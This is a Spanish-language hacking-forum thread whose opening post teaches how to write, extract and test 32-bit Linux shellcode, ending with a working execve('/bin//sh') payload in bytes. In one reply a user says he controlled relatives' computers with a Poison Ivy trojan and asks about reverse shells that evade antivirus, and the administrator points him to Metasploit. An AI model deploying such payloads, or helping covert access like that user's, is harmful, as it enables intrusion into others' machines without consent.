comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Que es una Shellcode

  • 6 Respuestas
  • 5103 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5388
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Marzo 30, 2012, 12:09:20 pm »
En este post voy a introducir el concepto de shellcode para los que recien empiezan o capas para los que ya lo vieron pero no llegaron a entender como funciona. Usare un sistema Linux 32 bits para realizar las demostraciones.

Que significa shellcode?
Primero necesitamos saber el significado etimologico de shellcode.
Shell es como se le dice en ingles (ahora universal) a una terminal. Por lo tanto shellcode significa que es un codigo que nos crea una terminal para que la usemos.
Actualmente el termino shellcode no solo se refiere al codigo que nos permite crear una shell, sino que se extiende a codigos con mas funciones como pueden ser crear usuarios, matar/crear un determinado proceso, dar permisos a una carpeta, etc.

Y tecnicamente... una shellcode es una porcion de codigo compilada para un determinado procesador que se ejecuta dentro de otro proceso previamente preparado para que la ejecute (ej: stack overflow).

Como creamos una shellcode?
Generalmente se hacen en lenguaje ASM (assembler) para poder tener un control total del proceso ya que en C se agregan partes de codigo que no podemos controlar, ni hablar de otros lenguajes que ni siquiera pueden compilarse a codigo nativo del procesador (.NET, VB, Java, etc).
Ya sabemos que no tenemos muchos lenguajes para elegir jeje, asm de x86 (el procesador que usan las pcs) tiene dos sintaxis, la de Intel y la de AT&T, yo prefiero la segunda pero ya que la de Intel es mas popular usaremos esa.
Tambien necesitamos saber que una shellcode tiene que ser lo mas corta y portable posible, es por eso que usaremos llamadas al sistema y no llamaremos a la libc u otras librerias. La forma de llamar al sistema/kernel en *nix es mediante la interrupcion 0x80.
Tanta teoria se esta volviendo aburrida asi que vamos a los hechos, aca tenemos una shellcode bien simple que solamente cierra el programa llamando a exit(0).
Código: ASM
  1. BITS 32
  2. exit:
  3.         xor     ebx,ebx         ;ponemos 0 como argumento de exit
  4.         xor     eax,eax         ;limpiamos eax y ebx
  5.         mov     al,0x01         ;ponemos 1 en eax (es el codigo de la syscall exit)
  6.         int     0x80            ;finalmente llamamos a la interrupcion
  7.  
Ahi hicimos nuesta primer "shellcode".

Como extraemos los bytes u opcodes?
Lo que haremos ahora es compilarla y extraer los bytecodes que son los que nos interesan a nosotros, por eso abrimos nuestra terminal y tipeamos:
~$ nasm exit.asm
si queremos saber si se compilo bien podemos desensamblarlo (en 32 bits) con
~$ ndisasm-b 32 exit
y nos mostrara el desensamblado del codigo con sus respectivos opcodes:
00000000  31DB            xor ebx,ebx
00000002  31C0            xor eax,eax
00000004  B001              mov al,0x1
00000006  CD80              int 0x80
Para sacar estos opcodes podemos copiarlos uno por uno al exploit o a donde lo queramos poner; o sino extraerlos con alguna clase de script, yo me hice uno que pasa el archivo a la cadena de C directamente:
Código: Python
  1. #!/usr/bin/python
  2. from binascii import *
  3. import sys
  4.  
  5. files = {}
  6. length = []
  7.  
  8. def write(string):
  9.         sys.stdout.write(string)
  10.  
  11. def process_file(file):
  12.         source = open(file,"rb")
  13.         write("char shellcode[]=\n\t\t")
  14.         i = 1
  15.         l = 0
  16.         write("\"")
  17.         for data in source.read():
  18.                 write("\\x")
  19.                 write(b2a_hex(data))
  20.                 if (i % 15)==0:
  21.                         write("\"\n\t\t\"")
  22.                 i+=1
  23.                 l+=1
  24.         files[file[0:-4]]= l
  25.         write("\";\n\n")
  26.         source.close()
  27.  
  28. print("HDL Shellcode Lab - Bin to C")
  29. if(len(sys.argv)<2):
  30.         exit(0)
  31. process_file(sys.argv[1])
  32.  
Como argumento le pasamos el archivo compilado anteriormente con nasm y nos devolvera algo asi que es una cadena en C para poner en nuestros exploits:
Código: C
  1. char shellcode[]=
  2.                 "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
  3.  

Como probar las shellcodes?
Para probarlas podemos usar un pequeno codigo en C que salte a la shellcode directamente, aca les dejo un codigo muy simple y funcional:
Código: C
  1. char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode
  2. int main (int argc, char *argv[])
  3. {
  4.   int (*run)();   //puntero a una funcion
  5.   run = shellcode; //asignamos la direccion de la shellcode al puntero
  6.   run();  // y la ejecutamos
  7. }
  8.  
Ahora que tenemos este codigo podemos usar cualquier debugger y poner un break en main, despues de eso ir paso por paso o sino agregamos un "int 3" al principio de la shellcode y el debugger va a saltar ahi.

Una shellcode mas compleja
Aca vamos a hacer una que nos de una shell (algo un poco mas util que salir de un programa jeje), mas especificamente una bash.
Código: ASM
  1. BITS 32
  2.         xor  eax,eax
  3.         push eax
  4.         push dword 0x68732f6e   ;ponemos a /bin/sh en la pila                  
  5.         push dword 0x69622f2f
  6.         mov  ebx,esp            ;y le damos la direccion de /bin/sh a ebx      
  7.         xor  edx,edx
  8.         push edx                ;ponemos el resto de los argumentos en la pila  
  9.         push ebx
  10.         mov ecx,esp
  11.         mov al,0x0b             ;llamamos a la syscall 0x0b (execve)            
  12.         int 0x80
  13.  
Y los bytecodes de esta shellcode despues de compilarla con nasm (y extraerla con el otro script) son:
Código: C
  1. char shellcode[]=
  2.                 "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  3.                 "\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  4.  
Estos bytecodes ya estan para usarse y como veran no tiene ningun caracter nulo en su extension ;-) (sobre  No tienes permisos para ver links. Registrate o Entra con tu cuenta )
Fue mas que nada para perderle miedo a los terminos raros y entender mejor como estan compuestos los exploits.

Espero que les haya gustado esta pequena introduccion a shellcodes y si tienen dudas pregunten.

Saludos,

Autor: snf


Desconectado comandosoft

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Abril 30, 2012, 11:42:46 am »
Yo tengo una consulta

Tengo varios ordenadores de mis primos y familia etc. Los cuales antes controlaba con un troyano de conexion inversa "Poison ivy" lo encryptaba con themida cuando en alquellos tiempos aun valia...

Mi pregunta es si es posible crear, en vez de un  troyano, una shell remota inversa.

Pdt: ¿Las shell son detectadas por los antivirus, como los troyanos? Ya que mi idea es no perder a mis infectados. 
« Última modificación: Abril 30, 2012, 11:47:35 am por comandosoft »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5388
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Mayo 01, 2012, 07:04:46 pm »
Aprende a usar el metasploit y podras hacerlo


Desconectado baron.power

  • *
  • Underc0der
  • Mensajes: 284
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Mayo 22, 2012, 11:08:18 pm »
excelente explicacion, gracias maestro, saludos

Desconectado SOM8R4

  • *
  • Underc0der
  • Mensajes: 13
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Mayo 23, 2012, 01:31:37 am »
Muy pero que muy interesante... pero ami eso de programar en ASM me supera. jeje todabia me falta mucho para llegar hasta estos niveles. :)

Desconectado kid_goth

  • *
  • Underc0der
  • Mensajes: 201
  • Actividad:
    0%
  • Reputación 3
  • Tu conocimiento se limita cuando dices NO PUEDO...
    • Ver Perfil
    • DC Projects
    • Email
« Respuesta #5 en: Junio 14, 2012, 03:52:07 pm »
:D bueno ahora una pregunta no se si es ilogica o tota pero me llego la duda:

En caso de no tener ni idea de ASM se podria digamos obtener la shell directamente con lenguaje C y luego con un debugger (o con el mismo disasm) obtener el shellcode?

o necesariamente se debe apender ASM???
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5388
  • Actividad:
    36.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #6 en: Junio 14, 2012, 04:38:29 pm »
Hay muchos codigos hechos como el del ejemplo del post. Que ya te da el codigo en ASM con la shellcode.
De todas formas, no esta de mas aprender! :D

Saludos Cordiales!

ANTRAX


 

¿Te gustó el post? COMPARTILO!



Explotacion de software y creacion de shellcode.

Iniciado por quisqueyano

Respuestas: 2
Vistas: 2199
Último mensaje Agosto 13, 2012, 09:30:40 am
por zoro248